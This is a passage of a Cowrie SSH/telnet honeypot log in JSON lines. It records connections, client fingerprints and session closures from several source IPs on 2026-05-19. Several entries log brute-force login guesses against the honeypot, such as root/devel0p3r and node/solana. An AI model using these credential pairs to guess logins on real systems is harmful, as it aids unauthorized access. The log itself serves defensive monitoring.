16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:15.963126Z","src_ip":"103.27.238.120","session":"039565bfc2c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxccxz","message":"login attempt [root/zxccxz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:16.751872Z","src_ip":"103.27.238.120","session":"039565bfc2c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.649871826171875,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:17.037222Z","src_ip":"192.119.13.58","session":"25641741a236","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.790048122406006,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:17.646667Z","src_ip":"192.119.13.58","session":"43569452c23a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:18.016812Z","src_ip":"103.27.238.120","session":"039565bfc2c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.15077996253967,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:20.088555Z","src_ip":"192.119.13.58","session":"93abc6a2e6e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33104,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba638c7a43e2","protocol":"telnet","message":"New connection: 192.119.13.58:33104 (10.17.0.5:23) [session: ba638c7a43e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:20.574846Z"}
{"eventid":"cowrie.session.closed","duration":46.36425256729126,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:21.793398Z","src_ip":"192.119.13.58","session":"e726bd0a50c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.9883394241333,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:23.795579Z","src_ip":"192.119.13.58","session":"70af1ca80b82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":57508,"dst_ip":"10.17.0.5","dst_port":22,"session":"7623178c5e70","protocol":"ssh","message":"New connection: 194.59.206.2:57508 (10.17.0.5:22) [session: 7623178c5e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:24.338078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:24.347352Z","src_ip":"194.59.206.2","session":"7623178c5e70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:24.453728Z","src_ip":"194.59.206.2","session":"7623178c5e70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:24.611167Z","src_ip":"194.59.206.2","session":"7623178c5e70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55808,"dst_ip":"10.17.0.5","dst_port":23,"session":"c606a1ce4a1a","protocol":"telnet","message":"New connection: 192.119.13.58:55808 (10.17.0.5:23) [session: c606a1ce4a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:26.284732Z"}
{"eventid":"cowrie.session.closed","duration":38.13415884971619,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:27.031422Z","src_ip":"192.119.13.58","session":"936af0737ca7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":43944,"dst_ip":"10.17.0.5","dst_port":22,"session":"e27bac9a30b2","protocol":"ssh","message":"New connection: 40.83.182.122:43944 (10.17.0.5:22) [session: e27bac9a30b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:27.702329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:27.712748Z","src_ip":"40.83.182.122","session":"e27bac9a30b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:27.791385Z","src_ip":"40.83.182.122","session":"e27bac9a30b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"devel0p3r","message":"login attempt [root/devel0p3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:28.133974Z","src_ip":"40.83.182.122","session":"e27bac9a30b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.88951015472412,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:28.304075Z","src_ip":"192.119.13.58","session":"d32dd4ddc6d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:29.214256Z","src_ip":"40.83.182.122","session":"e27bac9a30b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.13045334815979,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:30.640227Z","src_ip":"192.119.13.58","session":"374fad8df1da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":39238,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3cfc0d766dc","protocol":"ssh","message":"New connection: 62.133.63.178:39238 (10.17.0.5:22) [session: b3cfc0d766dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:31.577172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:31.585268Z","src_ip":"62.133.63.178","session":"b3cfc0d766dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:31.705422Z","src_ip":"62.133.63.178","session":"b3cfc0d766dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"denis","message":"login attempt [root/denis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:32.059979Z","src_ip":"62.133.63.178","session":"b3cfc0d766dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.15359902381897,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:32.375161Z","src_ip":"192.119.13.58","session":"e9b9ea0c731a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.95249557495117,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:32.815707Z","src_ip":"192.119.13.58","session":"15ca88e03e17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:33.183156Z","src_ip":"62.133.63.178","session":"b3cfc0d766dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58810,"dst_ip":"10.17.0.5","dst_port":23,"session":"23acbc38ce07","protocol":"telnet","message":"New connection: 192.119.13.58:58810 (10.17.0.5:23) [session: 23acbc38ce07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:33.847737Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.192.30","src_port":50421,"dst_ip":"10.17.0.5","dst_port":22,"session":"5362b283c1e9","protocol":"ssh","message":"New connection: 201.249.192.30:50421 (10.17.0.5:22) [session: 5362b283c1e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:33.868812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:33.873655Z","src_ip":"201.249.192.30","session":"5362b283c1e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:33.939766Z","src_ip":"201.249.192.30","session":"5362b283c1e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.981297731399536,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:33.963441Z","src_ip":"192.119.13.58","session":"886f6afc67fb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"beacon","message":"login attempt [root/beacon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:34.232954Z","src_ip":"201.249.192.30","session":"5362b283c1e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35592,"dst_ip":"10.17.0.5","dst_port":23,"session":"8981a764fbbc","protocol":"telnet","message":"New connection: 192.119.13.58:35592 (10.17.0.5:23) [session: 8981a764fbbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:35.045296Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:35.301001Z","src_ip":"201.249.192.30","session":"5362b283c1e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44858,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac4ec858464a","protocol":"telnet","message":"New connection: 192.119.13.58:44858 (10.17.0.5:23) [session: ac4ec858464a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:37.207266Z"}
{"eventid":"cowrie.session.closed","duration":35.57740831375122,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:40.969392Z","src_ip":"192.119.13.58","session":"cdf76ed89d9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41220,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a7fd5b32a7c","protocol":"telnet","message":"New connection: 192.119.13.58:41220 (10.17.0.5:23) [session: 1a7fd5b32a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:43.133823Z"}
{"eventid":"cowrie.session.closed","duration":33.88879036903381,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:43.724315Z","src_ip":"192.119.13.58","session":"da508b13bb52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.143346548080444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:46.158393Z","src_ip":"192.119.13.58","session":"9b82eb4268b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.90405821800232,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:48.141450Z","src_ip":"192.119.13.58","session":"0fab3ad2ebce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45120,"dst_ip":"10.17.0.5","dst_port":23,"session":"e551a8db2f5b","protocol":"telnet","message":"New connection: 192.119.13.58:45120 (10.17.0.5:23) [session: e551a8db2f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:50.673586Z"}
{"eventid":"cowrie.session.closed","duration":54.07249188423157,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:54.296552Z","src_ip":"192.119.13.58","session":"1742560c99c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.66748785972595,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:54.651783Z","src_ip":"192.119.13.58","session":"6a85e58d65f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35602,"dst_ip":"10.17.0.5","dst_port":23,"session":"16bb19206c2c","protocol":"telnet","message":"New connection: 192.119.13.58:35602 (10.17.0.5:23) [session: 16bb19206c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:55.072889Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39288,"dst_ip":"10.17.0.5","dst_port":23,"session":"880d876d8b23","protocol":"telnet","message":"New connection: 192.119.13.58:39288 (10.17.0.5:23) [session: 880d876d8b23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:55.972639Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":59320,"dst_ip":"10.17.0.5","dst_port":22,"session":"54add745a5f3","protocol":"ssh","message":"New connection: 193.32.162.145:59320 (10.17.0.5:22) [session: 54add745a5f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:57.756351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:57.763700Z","src_ip":"193.32.162.145","session":"54add745a5f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:57.875148Z","src_ip":"193.32.162.145","session":"54add745a5f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"solana","message":"login attempt [node/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:58.256138Z","src_ip":"193.32.162.145","session":"54add745a5f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:59.380262Z","src_ip":"193.32.162.145","session":"54add745a5f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55302,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ac685f3b97a","protocol":"telnet","message":"New connection: 192.119.13.58:55302 (10.17.0.5:23) [session: 8ac685f3b97a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:59.950111Z"}
{"eventid":"cowrie.session.closed","duration":0.009483575820922852,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:59.959491Z","src_ip":"192.119.13.58","session":"8ac685f3b97a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56810,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e97ca34afa1","protocol":"telnet","message":"New connection: 192.119.13.58:56810 (10.17.0.5:23) [session: 7e97ca34afa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:00.350162Z"}
{"eventid":"cowrie.session.closed","duration":44.47447729110718,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:05.049214Z","src_ip":"192.119.13.58","session":"ba638c7a43e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.326313495635986,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:05.298846Z","src_ip":"192.119.13.58","session":"880d876d8b23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35820,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b264db8fc43","protocol":"telnet","message":"New connection: 192.119.13.58:35820 (10.17.0.5:23) [session: 5b264db8fc43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:08.976970Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.226.124","src_port":14416,"dst_ip":"10.17.0.5","dst_port":22,"session":"e12fba943843","protocol":"ssh","message":"New connection: 115.68.226.124:14416 (10.17.0.5:22) [session: e12fba943843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:09.002802Z"}
